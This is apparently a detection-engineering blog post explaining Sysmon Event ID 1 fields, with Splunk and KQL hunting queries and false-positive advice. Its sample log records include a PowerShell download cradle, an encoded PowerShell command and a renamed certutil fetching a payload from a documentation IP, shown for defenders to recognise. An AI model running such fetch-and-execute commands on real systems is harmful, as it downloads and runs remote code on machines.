Sysmon Event ID 1: Process Creation Explained

Sysmon Event ID 1 is the process creation event. Every time a program starts on a machine running Sysmon, it can write an Event ID 1 record with the full command line, the parent process, the user and a hash of the file.

If you only learn one Sysmon event, learn this one. Most endpoint investigations start with the question "what ran, and what started it?" and Event ID 1 answers both. This post covers the fields, the attacks it exposes, and searches you can paste into Splunk and Sentinel. For the whole event list, see our Sysmon Event IDs cheat sheet.

What Sysmon Event ID 1 logs

Sysmon writes these events to Applications and Services Logs/Microsoft/Windows/Sysmon/Operational. Microsoft's documentation says the event gives "extended information about a newly created process", including the full command line. These are the fields you will use most:

• Image: the full path of the new process. A svchost.exe running from C:\Users\Public\ is wrong before you read anything else.
• CommandLine: the arguments the process started with. This is where most detections live: encoded commands, download cradles, suspicious flags.
• ParentImage: the process that started it. Context is everything here: Word starting cmd.exe is a very different story from Explorer starting cmd.exe.
• ParentCommandLine: how the parent was started. It helps you walk back up the chain.
• User: the account the process ran as. Look for NT AUTHORITY\SYSTEM where you would expect a normal user, and the reverse.
• IntegrityLevel: Low, Medium, High or System. A process running at High or System that you did not expect is worth a second look.
• Hashes: the file hash, in the algorithms set in your configuration. Use it to look the file up on threat intel sites or to find other hosts running the same binary.
• OriginalFileName: the file name stored in the executable's version information, set when it was compiled. It does not change when someone renames the file on disk.
• ProcessGuid: a unique ID for this process instance. Windows reuses process IDs, but the GUID lets you link this event to network, file and registry events from the same process.
• CurrentDirectory, LogonId and ParentProcessGuid: the working directory, the logon session, and the GUID of the parent. All useful for pivoting.

You also get UtcTime, ProcessId, ParentProcessId, FileVersion, Description, Product, Company and TerminalSessionId. Newer Sysmon versions add a ParentUser field.

One thing to know about Hashes: a default Sysmon install hashes process images with SHA1. Your config can change that with HashAlgorithms, choosing MD5, SHA1, SHA256, IMPHASH or * for all of them, and most production configs add SHA256. Community configs such as SwiftOnSecurity's and Olaf Hartong's sysmon-modular do this for you. They also filter which processes are logged, so what you see in your environment depends on the config someone deployed.

What it catches

Office apps spawning shells

A user opens a document, enables macros, and Word starts a command shell. Office programs rarely need to start cmd.exe or powershell.exe, so this parent and child pairing is a classic initial-access sign (MITRE ATT&CK T1204.002, malicious file execution, and T1059 for the interpreter).

Image: C:\Windows\System32\cmd.exe
CommandLine: cmd.exe /c powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1')"
ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
User: CORP\jsmith
IntegrityLevel: Medium

The child is a shell, the parent is Word, and the command line downloads and runs a script from the internet. You do not need any other event to know this host needs attention.

Encoded PowerShell

Attackers encode commands in Base64 so they are harder to read and to match. PowerShell's -EncodedCommand flag (often shortened to -enc or -e) takes that string (T1059.001).

Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell.exe -NoP -NonI -W Hidden -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA...
ParentImage: C:\Windows\System32\wscript.exe

Decode the string (it is UTF-16 Base64) and you have the real command. Short flags, hidden window and an unusual parent like wscript.exe all add to the picture.

Renamed binaries and living-off-the-land

Attackers like built-in Windows tools because they are signed and already there. A common trick is to copy one to a new name so rules looking for the original name miss it. This is where OriginalFileName earns its place.

Image: C:\Users\Public\notes.exe
OriginalFileName: certutil.exe
CommandLine: notes.exe -urlcache -split -f http://203.0.113.50/payload.bin C:\Users\Public\p.bin

The file on disk is called notes.exe, but the version information says it is certutil.exe, and the arguments are certutil's download flags. A mismatch between Image and OriginalFileName is a strong lead. Use it as a starting point, not a verdict: some legitimate software ships with a different internal name, so check what the file is before you escalate.

The same event also exposes legitimate tools used the wrong way: mshta.exe loading a remote URL, rundll32.exe with odd arguments, or bitsadmin.exe pulling a file from an external host.

Searching for it

Both searches below look for a shell started by an Office application. Adapt the parent and child lists to hunt for other patterns.

Splunk

This assumes Sysmon data is indexed with sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" and parsed by the Splunk Add-on for Sysmon.

sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
(ParentImage="*\\WINWORD.EXE" OR ParentImage="*\\EXCEL.EXE" OR ParentImage="*\\POWERPNT.EXE")
(Image="*\\cmd.exe" OR Image="*\\powershell.exe" OR Image="*\\wscript.exe" OR Image="*\\mshta.exe")
| table _time host User ParentImage Image CommandLine

It returns each shell or script host spawned directly by Word, Excel or PowerPoint, with the command line.

KQL (Microsoft Sentinel)

This assumes Sysmon events are forwarded into the Event table, where the fields sit in the EventData XML. It does not use Defender's DeviceProcessEvents, which is a different data source.

Event
| where Source == "Microsoft-Windows-Sysmon" and EventID == 1
| extend ParentImage = extract(@'Name="ParentImage">([^<]*)<', 1, EventData)
| extend Image = extract(@'Name="Image">([^<]*)<', 1, EventData)
| extend CommandLine = extract(@'Name="CommandLine">([^<]*)<', 1, EventData)
| where ParentImage has_any ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE")
| where Image has_any ("cmd.exe", "powershell.exe", "wscript.exe", "mshta.exe")
| project TimeGenerated, Computer, ParentImage, Image, CommandLine

The extract calls pull the named fields out of the XML so you can filter on them. For more, see our KQL cheat sheet and SPL cheat sheet.

False positives

Process creation is noisy, and some alarming-looking activity is normal.

• Office add-ins and macros in the business. Finance teams do run macro-heavy spreadsheets. Check the command line: a macro that launches a company script from a file server is different from one that downloads from the internet.
• Admin and management tools. Software deployment agents and IT scripts run PowerShell, sometimes encoded, because it avoids quoting problems. Look at the parent, the user and whether the same pattern runs across many hosts on a schedule.
• Installers and updaters. They launch cmd.exe, msiexec.exe and rundll32.exe from temp folders. Check the signer and the hash.
• Internal renamed binaries. Some vendor tools have an internal name that differs from the file name. If it is the same on every machine and matches a known product, it is probably fine.

To tell the difference, ask four things. Is the parent expected? Is the user expected? Is the command line doing something this program normally does? Has this host or this user done it before? Hunt for what is new, not just what is odd.

How it fits with other Sysmon events

Event ID 1 tells you something started. The ProcessGuid lets you follow it from there.

• Event ID 3 (network connection): did that PowerShell process call out? Match on ProcessGuid. See Sysmon Event ID 3.
• Event ID 11 (file create): what did it drop on disk? See Sysmon Event ID 11.
• Event ID 10 (process access): did it reach into another process such as lsass.exe? See Sysmon Event ID 10.
• Event ID 5 (process terminated): how long did it live?

Event IDs 3, 5, 10 and 11 depend on your configuration and may not be enabled at all. If you are practising this kind of pivoting, our guide to endpoint investigation practice is a good next step.

FAQs

What is the difference between Sysmon Event ID 1 and Windows Event ID 4688?

Both record process creation. Event ID 4688 comes from the Security log and only includes the command line if you enable that audit setting. Sysmon adds hashes, parent command line, OriginalFileName and the ProcessGuid. See our Windows Event Log IDs guide for 4688.

Does Sysmon Event ID 1 log the command line?

Yes. CommandLine and ParentCommandLine are part of the event. Whether an event is written at all depends on your configuration's ProcessCreate rules.

How do I see Sysmon Event ID 1 in Event Viewer?

Open Applications and Services Logs, then Microsoft, Windows, Sysmon, Operational, and filter the current log for Event ID 1.

Does Sysmon hash every process by default?

Yes. A default install hashes process images with SHA1. Set HashAlgorithms in your config to use SHA256, MD5, IMPHASH or several at once.

TL;DR

Sysmon Event ID 1 records every process that starts, with its command line, parent, user, integrity level and hash. Read parent and child together, then the command line, then check OriginalFileName against Image for renamed tools. Expect false positives from admin tools and installers, so judge the pattern, not one event. Use the ProcessGuid to pivot into network, file and access events.

How EpicDetect Can Help

Reading about Sysmon events only gets you so far. Adventures drops you into a story-driven SOC investigation where endpoint evidence like this is how you crack the case. Season Zero is free.

Want the fuller picture? The EpicDetect Atlas maps out what to learn next, from SOC fundamentals to detection engineering.